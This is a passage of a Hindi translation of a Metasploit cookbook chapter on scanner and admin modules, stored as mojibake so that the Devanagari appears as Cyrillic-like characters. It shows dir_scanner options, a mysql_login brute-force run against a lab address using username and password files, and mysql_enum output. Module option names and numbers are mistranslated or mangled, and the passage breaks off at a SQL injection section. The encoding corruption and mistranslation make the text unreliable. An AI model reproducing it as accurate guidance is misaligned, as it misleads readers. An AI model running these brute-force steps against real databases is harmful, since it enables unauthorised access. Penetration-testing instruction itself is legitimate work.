рдореЗрдЯрд╕реНрдкреНрд▓реЛрдЗрдЯ рдкреЗрдиреЗрдЯреНрд░реЗрд╢рди рдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдХреБрдХрдмреБрдХ - рднрд╛рдЧ 7

рдореЗрдЯрд╕реНрдкреНрд▓реЛрдЗрдЯ рдкреЗрдиреЗрдЯреНрд░реЗрд╢рди рдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдХреБрдХрдмреБрдХ рдХреЗ рд╕рд╛рддрд╡реЗрдВ рдХрд╛ рдЕрдиреБрд╡рд╛рдж


рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЛрдЗрдЯ рд▓реВ рдХреА рдХрд┐рддрд╛рдм

рдЕрдзреНрдпрд╛рдп 7. рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдирд╛


рдЗрд╕ рдЕрдзреНрдпрд╛рдп рдореЗрдВ, рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВрдЧреЗ:


рдкрд░рд┐рдЪрдп


рдкрд╣рд▓реЗ рдЕрдзреНрдпрд╛рдп рдореЗрдВ, рд╣рдордиреЗ рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЛрдЗрдЯ рдХреА рдореВрд▓ рдмрд╛рддреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХреАред рд╣рдордиреЗ рдЗрд╕ рддрдереНрдп рд╕реЗ рд╢реБрд░реВ рдХрд┐рдпрд╛ рдХрд┐ рдЗрд╕рдореЗрдВ рдПрдХ рдореЙрдбреНрдпреВрд▓рд░ рд╡рд╛рд╕реНрддреБрдХрд▓рд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╕рднреА рд╢реЛрд╖рдг, рдкреЗрд▓реЛрдб, рдПрдирдХреЛрдбрд░ рдЖрджрд┐ред рдореЙрдбреНрдпреВрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд░реЗрдВред рдореЙрдбреНрдпреВрд▓рд░ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдлреНрд░реЗрдорд╡рд░реНрдХ рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рдирд╛ рдЖрд╕рд╛рди рдмрдирд╛рддрд╛ рд╣реИред рдХреЛрдИ рднреА рдкреНрд░реЛрдЧреНрд░рд╛рдорд░ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдореЙрдбреНрдпреВрд▓ рдХреЛ рд╡рд┐рдХрд╕рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЖрд╕рд╛рдиреА рд╕реЗ рдЗрд╕реЗ рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЛрдЗрдЯ рдврд╛рдВрдЪреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╕рд┐рд╕реНрдЯрдо рдСрдкрд░реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдХрдИ рдореЙрдбреНрдпреВрд▓ рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рдкрд░рд┐рдЪрд╛рд▓рди рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, рдлрд┐рд░ рд╣рдо рдкреЗрд▓реЛрдб рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, рдлрд┐рд░ рд╣рдо рдХрдИ рдкреЛрд╕реНрдЯ-рдСрдкрд░реЗрд╢рдирд▓ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдВрдд рдореЗрдВ, рд╣рдо рдЕрдкрдиреЗ рдирд┐рд╖реНрдХрд░реНрд╖реЛрдВ рдФрд░ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╣ рдЕрдзреНрдпрд╛рдп / рдкреЗрдВрдЯреЗрд╕реНрдЯ / рдХрд╛рд░рдирд╛рдореЗ / рдлреНрд░реЗрдорд╡рд░реНрдХ 3 / рдореЙрдбреНрдпреВрд▓ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдореЙрдбреНрдпреВрд▓ рдХреА рдкреВрд░реА рд╕реВрдЪреА рд╣реИ рдЬреЛ рд╣рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг рдореЗрдВ рдорджрдж рдХрд░реЗрдЧреАред

рд╕рд╣рд╛рдпрдХ рд╕реНрдХреИрди рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░реЗрдВ


рдЪрд▓реЛ рд╕реНрдХреИрди рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред рд╣рдордиреЗ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕реНрдХреИрдирд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рдЕрдзреНрдпрдпрди рдХрд┐рдпрд╛ рдерд╛ рдЬрдм рд╣рдордиреЗ рдиреИрдореНрдк рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХреА рдереАред рдЗрд╕ рдиреБрд╕реНрдЦрд╛ рдореЗрдВ рд╣рдо рдХреБрдЫ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рдореЙрдбреНрдпреВрд▓ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЛрдЗрдЯ рдХреЗ рд╕рд╛рде рдЖрддреЗ рд╣реИрдВред рдпрджреНрдпрдкрд┐ рдиреИрдореНрдк рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рд╕реНрдХреИрдирд┐рдВрдЧ рдЙрдкрдХрд░рдг рд╣реИ, рдРрд╕реА рд╕реНрдерд┐рддрд┐рдпрд╛рдБ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдЖрдкрдХреЛ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕реНрдХреИрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, MySQL рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рд▓рд┐рдП рд╕реНрдХреИрдирд┐рдВрдЧред рдЙрдкрд▓рдмреНрдз рд╕реНрдХреИрдирд░реЛрдВ рдХреА рд╕реВрдЪреА рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ / pentest / рдХрд╛рд░рдирд╛рдореЗ / рдЪреМрдЦрдЯреЗ 3 / рдореЙрдбреНрдпреВрд▓ / рд╕рд╣рд╛рдпрдХ / рд╕реНрдХреИрдирд░ рдкрд░ рдЬрд╛рдирд╛ рд╣реЛрдЧрд╛ ред рдЖрдЗрдП рдмреБрдирд┐рдпрд╛рджреА HTTP рд╕реНрдХреИрдирд░ рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдВред

Dir_scanner рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред рд╕реНрдХреНрд░рд┐рдкреНрдЯ рджрд┐рд▓рдЪрд╕реНрдк рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЛрд╕реНрдЯ рдпрд╛ рдкреВрд░реЗ рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╕реНрдХреИрди рдХрд░реЗрдЧреА рдЬрд┐рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рднреА рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

 msf> рд╕рд╣рд╛рдпрдХ / рд╕реНрдХреИрдирд░ / http / dir_scanner рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ 
 msf рд╕рд╣рд╛рдпрдХ (dir_scanner)> рд╡рд┐рдХрд▓реНрдк рджрд┐рдЦрд╛рдПрдВ 
 рдореЙрдбреНрдпреВрд▓ рд╡рд┐рдХрд▓реНрдк (рд╕рд╣рд╛рдпрдХ / рд╕реНрдХреИрдирд░ / http / dir_scanner):
 рдирд╛рдо рд╡рд░реНрддрдорд╛рди рд╕реЗрдЯрд┐рдВрдЧ рдЖрд╡рд╢реНрдпрдХ рд╡рд┐рд╡рд░рдг
 ---- --------------- -------- -----------
 DICTIONARY /opt /metasploit/msf3/data/wmap/wmap_dirs.txt рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢рдмреНрдж рд╢рдмреНрджрдХреЛрд╢ рдХрд╛ рдХреЛрдИ рдкрде рдирд╣реАрдВ
 рдкрде / рд╣рд╛рдБ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХрд╛ рдорд╛рд░реНрдЧ
 RHOSTS рд╣рд╛рдБ рд▓рдХреНрд╖реНрдп рдкрддрд╛ рд╕реАрдорд╛ рдпрд╛ CIDR рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛
 80 рдирд┐рд░реНрдпрд╛рдд рдХрд░реЗрдВ рд╣рд╛рдБ рд▓рдХреНрд╖реНрдп рдкреЛрд░реНрдЯ
 рддреАрди 1 рд╣рд╛рдБ рд╕рдорд╡рд░реНрддреА рдзрд╛рдЧреЗ рдХреА рд╕рдВрдЦреНрдпрд╛
 VHOST рдХреЛрдИ HTTP рд╕рд░реНрд╡рд░ рд╡рд░реНрдЪреБрдЕрд▓ рд╣реЛрд╕реНрдЯ рдирд╣реАрдВ рд╣реИ

рд╢реЛ рд╡рд┐рдХрд▓реНрдк рдХрдорд╛рдВрдб рдЙрдкрд▓рдмреНрдз рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЛ рджрд┐рдЦрд╛рдПрдЧрд╛ рдЬреЛ рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдЗрдП рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрджрд╛рд╣рд░рдг рджреЗрдЦреЗрдВред Mysql_login рдореЙрдбреНрдпреВрд▓, рдЬреЛ рдПрдХ MySQL рд╕рд░реНрд╡рд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖реНрдп рдХреЛ рд╕реНрдХреИрди рдХрд░рддрд╛ рд╣реИ рдФрд░, рдпрджрд┐ рдпрд╣ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ, рддреЛ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рдирд╡рд░ рдмрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ:

  msf> рд╕рд╣рд╛рдпрдХ / рд╕реНрдХреИрдирд░ / mysql / mysql_login рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ 
 msf> рд╡рд┐рдХрд▓реНрдк рджрд┐рдЦрд╛рдПрдВ 

 рдореЙрдбреНрдпреВрд▓ рд╡рд┐рдХрд▓реНрдк (рд╕рд╣рд╛рдпрдХ / рд╕реНрдХреИрдирд░ / mysql / mysql_login):

 рдирд╛рдо рд╡рд░реНрддрдорд╛рди рд╕реЗрдЯрд┐рдВрдЧ рдЖрд╡рд╢реНрдпрдХ рд╡рд┐рд╡рд░рдг
 ---- --------------- -------- -----------
 BLANK_PASSWORDS рд╕рдЪ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд░рд┐рдХреНрдд рдкрд╛рд╕рд╡рд░реНрдб рдЖрдЬрд╝рдорд╛рдПрдВ
 BRUTEFORCE_SPEED 5 рд╣рд╛рдВ, рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ рдореЗрдВ рдХрд┐рддрдиреА рддреЗрдЬреА рд╣реИ, 0 рд╕реЗ 5 рддрдХ
 PASSWORD рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб рдирд╣реАрдВ рд╣реИ
 рдкрд╛рд╕рд╡рд░реНрдб, рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рддрд┐ рдкрдВрдХреНрддрд┐ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рд╣реИ
 RHOSTS рд╣рд╛рдБ рд▓рдХреНрд╖реНрдп рдкрддрд╛ рд╕реАрдорд╛ рдпрд╛ CIDR рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛
 3306 рд╣рд╛рдБ рдирд┐рд░реНрдпрд╛рдд рдХрд░реЗрдВ рд▓рдХреНрд╖реНрдп рдмрдВрджрд░рдЧрд╛рд╣
 STOP_ON_SUCCESS рдЧрд▓рдд рд╣рд╛рдБ рдЬрдм рдПрдХ рд╣реЛрд╕реНрдЯ рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рддреЛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдирд╛ рдмрдВрдж рдХрд░реЗрдВ
 рддреАрди 1 рд╣рд╛рдБ рд╕рдорд╡рд░реНрддреА рдзрд╛рдЧреЗ рдХреА рд╕рдВрдЦреНрдпрд╛
 USERNAME рдХреЗ тАЛтАЛрд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдирд╣реАрдВ рд╣реИ
 USERPASS_FILE рдХреЛрдИ рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рдХреЛ рдЕрдВрддрд░рд┐рдХреНрд╖ рд╕реЗ рдЕрд▓рдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдкреНрд░рддрд┐ рдкрдВрдХреНрддрд┐ рдПрдХ рдЬреЛрдбрд╝реА
 USER_AS_PASS рд╕рдЪ рдирд╣реАрдВ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ
 USER_FILE рдХреЛрдИ рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо, рдкреНрд░рддрд┐ рдкрдВрдХреНрддрд┐ рдПрдХ рд╣реЛ
 VERBOSE рд╕рдЪ рд╣рд╛рдБ рдХреНрдпрд╛ рд╕рднреА рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рд▓рд┐рдП рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рд┐рдВрдЯ рдХрд░рдирд╛ рд╣реИ 

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рдХрдИ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИрдВред рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рдлрд╛рдЗрд▓реЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕рд╛ рдХрд░рддреЗ рд╣реИрдВ:

  msf рд╕рд╣рд╛рдпрдХ (mysql_login)> USER_FILE /users.txt рд╕реЗрдЯ рдХрд░реЗрдВ
 USER_FILE => /users.txt
 msf рд╕рд╣рд╛рдпрдХ (mysql_login)> PASS_FILE /pass.txt рд╕реЗрдЯ рдХрд░реЗрдВ
 PASS_FILE => /pass.txt 

рдЕрдм рд╣рдо рдмреНрд░реВрдЯрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИрдВред рдпрд╣ рд▓рдХреНрд╖реНрдп рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдФрд░ рдореЙрдбреНрдпреВрд▓ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╣реБрдЖ рд╣реИ:

  msf рд╕рд╣рд╛рдпрдХ (mysql_login)> рд╕реЗрдЯ RHOSTS 192.168.56.101
 RHOSTS => 192.168.56.101
 msf рд╕рд╣рд╛рдпрдХ (mysql_login)> рдЪрд▓рд╛рдПрдВ
 [*] 192.168.56.101 {306 - рджреВрд░рд╕реНрде MySQL рд╕рдВрд╕реНрдХрд░рдг 5.0.51a рдорд┐рд▓рд╛
 [*] рез реп реи.резрем.5.релрем.резрежрез {рейрежрем рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо: рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рдкреНрд░рд╢рд╛рд╕рдХ: ''

рдирд┐рд╖реНрдХрд░реНрд╖ рд╕реЗ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдореЙрдбреНрдпреВрд▓ рдиреЗ рд▓рдХреНрд╖реНрдп рдкрд░ MySQL рд╕рд░реНрд╡рд░ рдХреА рдЦреЛрдЬ рдХрд░рдХреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢реБрд░реВ рдХреАред рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рдЙрдиреНрд╣реЛрдВрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо / рдкрд╛рд╕рд╡рд░реНрдб рд╕рдВрдпреЛрдЬрди рдХреЛ рдмрджрд▓рдирд╛ рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬреЛ рдлрд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╣реИрдВред

рд╕рд╣рд╛рдпрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░реЗрдВ


рдЖрдЗрдП рдЬрд╛рдиреЗрдВ рдХреБрдЫ рдПрдбрдорд┐рди рдореЙрдбреНрдпреВрд▓ред рдореЙрдбреНрдпреВрд▓ рд╡рд┐рднрд┐рдиреНрди рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреА рдкреВрд░реНрддрд┐ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓ рдХреА рдЦреЛрдЬ рдпрд╛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо / рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд▓рд┐рдП рдЬрд╛рдБрдЪред рдпрд╣ рд╕рдм рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред Mysql_enum рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:

  msf> рд╕рд╣рд╛рдпрдХ / рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ / mysql / mysql_enum рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ 
 msf> рд╡рд┐рдХрд▓реНрдк рджрд┐рдЦрд╛рдПрдВ 

 рдореЙрдбреНрдпреВрд▓ рд╡рд┐рдХрд▓реНрдк (рд╕рд╣рд╛рдпрдХ / рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ / mysql / mysql_enum):

 рдирд╛рдо рд╡рд░реНрддрдорд╛рди рд╕реЗрдЯрд┐рдВрдЧ рдЖрд╡рд╢реНрдпрдХ рд╡рд┐рд╡рд░рдг
 ---- --------------- -------- -----------
 рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдирд╣реАрдВ
 RHOST рд╣рд╛рдБ рд▓рдХреНрд╖реНрдп рдкрддрд╛
 3306 рд╣рд╛рдБ рдирд┐рд░реНрдпрд╛рдд рдХрд░реЗрдВ рд▓рдХреНрд╖реНрдп рдмрдВрджрд░рдЧрд╛рд╣
 USERNAME no рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдирд╣реАрдВ 

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдореЙрдбреНрдпреВрд▓ рд▓реЙрдЧрд┐рди, рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдЖрд░рдПрдЪрдУрдПрд╕рдЯреА рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ MySQL рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рд╕рд╛рде рдЬрд╛рдирд╡рд░ рдХреЗ рд▓рд┐рдП рднреАред рд╣рдо рдХрдорд╛рдВрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддреЗ рд╣реИрдВ:

  msf рд╕рд╣рд╛рдпрдХ (mysql_enum)> рд╢реЛрд╖рдг
 [*] рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреИрд░рд╛рдореАрдЯрд░:
 [*] C2 рдСрдбрд┐рдЯ рдореЛрдб рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИ
 [*] xp_cmdshell рд╕рдХреНрд╖рдо рд╣реИ
 [*] рд░рд┐рдореЛрдЯ рдПрдХреНрд╕реЗрд╕ рд╕рдХреНрд╖рдо рд╣реИ
 [*] рдЕрджреНрдпрддрди рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ рд╕рдХреНрд╖рдо рд╣реИ
 [*] рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрд▓ XPs рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИ
 [*] рдУрд▓реЗ рдСрдЯреЛрдореЗрд╢рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИрдВ
 [*] рд╕рд░реНрд╡рд░ рдкрд░ рдбреЗрдЯрд╛рдмреЗрд╕:
 [*] рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдирд╛рдо: рдорд╛рд╕реНрдЯрд░ 

рдореЙрдбреНрдпреВрд▓ рдмрд╣реБрдд рд╕рд╛рд░реА рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рджреЗрддрд╛ рд╣реИред рд╡рд╣ рд╣рдореЗрдВ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ рд▓рдХреНрд╖реНрдп MySQL рдкрд░ cmdshell рдФрд░ рд░рд┐рдореЛрдЯ рдПрдХреНрд╕реЗрд╕ рд╕рдХреНрд╖рдо рдереЗред рдпрд╣ рдЙрд╕ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдирд╛рдо рднреА рджреЗрддрд╛ рд╣реИ рдЬреЛ рд▓рдХреНрд╖реНрдп рдорд╢реАрди рдкрд░ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИред

рдЕрдиреНрдп рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдХрдИ рд╕рдорд╛рди рдореЙрдбреНрдпреВрд▓ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ MSSQL рдФрд░ Apacheред рдСрдкрд░реЗрд╢рди рдХрд╛ рд╕рд┐рджреНрдзрд╛рдВрдд рд╕рднреА рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рд╣реИред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЛ рд╡рд┐рдХрд▓реНрдк рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЖрдк рдЖрд╡рд╢реНрдпрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред

рдПрд╕рдХреНрдпреВрдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдФрд░ рдбреЙрд╕ рдореЙрдбреНрдпреВрд▓


SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдореЙрдбреНрдпреВрд▓ рдЬреНрдЮрд╛рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рджрд░реНрдЬ рдХрд░реЗрдВ рдФрд░ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░реЗрдВред рднреЗрджреНрдпрддрд╛ Oracle 9i рдФрд░ 10g рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рдиреА рдЬрд╛рддреА рд╣реИред рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЛрдЗрдЯ рдореЗрдВ рдХрдИ рдореЙрдбреНрдпреВрд▓ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдЬреЛ рдУрд░реЗрдХрд▓ 